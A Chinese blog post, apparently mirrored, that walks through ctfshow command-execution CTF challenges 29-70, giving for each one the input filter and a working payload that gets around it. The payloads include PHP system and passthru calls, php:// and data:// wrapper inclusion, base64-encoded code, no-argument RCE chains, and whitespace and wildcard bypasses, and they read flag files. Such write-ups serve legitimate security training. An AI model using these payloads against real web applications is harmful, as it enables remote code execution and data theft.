zoukankan      html  css  js  c++  java
  • ctfshow WEB入门 命令执行 29-70

    web29

    过滤了flag
    ?c=system("cat f*");

    web30

    过滤了system|flag,用一个代替system()的函数
    ?c=passthru("cat f*");

    web31

    过滤了system|cat|flag|空格
    ?c=passthru("more%09f*");

    web32


    在前面的基础上,过滤了括号,但没过滤双引号
    ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

    web33


    过滤了引号
    ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

    web34


    同33

    web35


    同33

    web36

    在前面的基础上,过滤了数字,解法同33

    web37

    这里用了PHP文件包含函数include(),利用伪协议读flag

    data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

    POC:?c=data://text/plain,<?php system("cat f*");

    web38


    在37的基础上,过滤了php,利用base64编码绕过
    POC:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
    //PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=是<?php system("cat flag.php");

    web39


    ?c=data://text/plain<?php system("cat f*");?>

    web40


    ?c=system("cat flag");
    过滤了引号、$、冒号,还不能用伪协议
    一般括号里参数都要用引号,这里学习一下无参数RCE(remote command/code execute)

    参考GXYCTF2019禁止套娃
    解题参考:无参数读文件和RCE总结
    无参数的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

    • print_r(scandir('.'));查看当前目录下的所有文件名
    • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

    但是这题过滤了引号,不能有参数,找一个代替'.'的东西

    print_r(scandir(current(localeconv())));打印出当前目录下文件

    flag.php在倒数第二个,直接用next(array_reverse());

    paylaod:?c=show_source(next(array_reverse(scandir(current(localeconv())))));

    web41(unsolved)

    web42

    ?c=ls;
    ?c=cat flag.php;

    web43

    过滤了;|cat

    ?c=ls%0a
    ?c=more flag.php%0a

    web44

    过滤了;|cat|flag

    ?c=ls%0a
    ?c=more f*%0a

    web45

    过滤了;|cat|flag|空格

    ?c=ls%0a
    ?c=more${IFS}f*%0a

    web46

    过滤了;|cat|flag|空格|数字|$|*

    ?c=ls%0a
    ?c=more%09fla?.php%0a

    web47

    过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令

    ?c=ls%0a
    ?c=nl%09fla?.php%0a

    web48

    同47

    web49

    同47

    web50


    过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%

    ?c=ls%0a
    ?c=nl<>flag.php%0a
    (环境问题,通配符不好使

    web51

    同50

    web52


    过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
    查看当前目录下的文件:
    ?c=ls%0a

    查看flag.php:
    ?c=nl${IFS}flag.php%0a

    里面是假的。。。
    尝试查看根目下的所有目录:
    ?c=ls${IFS}/%0a

    查看根目录下的flag:
    ?c=nl${IFS}/flag%0a

    web53

    过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
    ?c=ls

    ?c=nl${IFS}fla?.php

    web54

    过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|x09(空格)|x26(&)|<|>
    ?c=ls%0a  回显flag.php
    ?c=cat flag.php;
    即?c=paste${IFS}fla?.php

    web55

    参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势

    过滤了;|小写字母|`|%|x09(空格)|x26(&)|<|>

    因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64

    ?c=/bin/base64 flag.php(flag.php全靠猜)
    即?c=/???/????64 ????.???

    解法2:
    bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
    ?c=/bin/bzip2 flag.php
    即?c=/???/????2 ????.???
    压缩后下载,访问/flag.php.bz2。

    web56(unsolved)

    web57


    过滤了字母、数字、分号、2个通配符
    又学到一个点
    echo ${_} #返回上一次的执行结果
    echo $(()) #0
    echo $((~$(()))) #~0是-1
    $(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
    echo $((~-37)) #~-37是36
    payload:
    $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

    web58


    POST:c=show_source('flag.php');

    web59-65

    题和58一样。。。

    web66


    用show_source(),回显该函数被禁用
    直接读flag.php,发现位置不对
    查看根目录下的文件:
    POST:c=print_r(scandir("/"));

    POST:c=highlight_file('/flag.txt');

    web67


    print_r()被禁用
    查看根目录下有哪些文件:
    POST:c=var_dump(scandir("/"));

    POST:c=highlight_file('/flag.txt');

    web68


    show_source()和highlight_file()被禁用

    POST:c=include('/flag.txt');

    web69


    查看根目录下的文件:
    print_r()、var_dump()被禁用
    POST:c=var_export(scandir("/"));

    POST:c=include('/flag.txt');

    web70


    error_reporting() 、 ini_set()、 highlight_file()被禁用
    看根目录的文件:

    POST:c=include('/flag.txt');

  • 相关阅读:
    Linux踩坑填坑记录
    Scala安装后,在IDEA中配置
    Centos 搭建Hadoop
    conductor FAQ
    conductor Workflow Metrics
    conductor APIs
    Extending Conductor
    conductor任务域
    Conductor Task Workers
    Conductor Server
  • 原文地址:https://www.cnblogs.com/wrnan/p/13765680.html
Copyright © 2011-2022 走看看